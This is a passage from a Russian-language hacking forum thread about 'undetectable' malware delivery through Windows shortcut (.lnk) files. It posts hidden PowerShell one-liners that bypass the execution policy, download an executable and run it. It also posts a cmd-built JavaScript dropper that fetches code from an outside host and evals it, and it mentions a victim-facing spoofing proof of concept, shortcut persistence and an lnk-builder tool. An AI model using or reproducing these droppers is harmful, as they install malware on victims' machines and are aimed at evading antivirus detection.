неопределяемая загрузка из ярлыка

[Johny]

​

powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('https://direct-download-link.exe','%TEMP%\example.exe'); Start-Process "%TEMP%\example.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('линк','%APPDATA%\Test.exe'); cmd /c '%APPDATA%\Test.exe'

источник:fuckav.ru

 

[Johny]

ярлык с js-кой....

%SYSTEMROOT%\system32\cmd.exe /c echo var prot='GET';var link='http://flashbombc4.com';var b=new ActiveXObject('MSXML2.XMLHTTP');b.open(prot,link,0 );b.send();b.open(prot,b.ResponseText,0);b.send(); eval(b.ResponseText); > update.js && update.js

 

[Johny]

​

 ​

p.s может пригодиться хотя AutoIt Downloads   ​

 

[Aegis]

​

 

[Johny]

​

 

[Johny]

​

 ​

persistence-shortcut-modification​

 

[Johny]

​

 ​

тыц и тыц​

 

[Johny]

​

 ​

 ​

Тупо демонстрация Spoofing_PoC​

 ​

p.s по тестил работает вот бы до пилить 

  если жертва нажимает установить на рабочем столе создаваться ярлык туда нагрузку вставить и писец будет 

 ​

 

[Johny]

​

 

[Johny]

​

 

[Johny]

​

 

[Johny]

​

 

[Johny]

​

 ​

lnk-builder​

 

[Johny]

​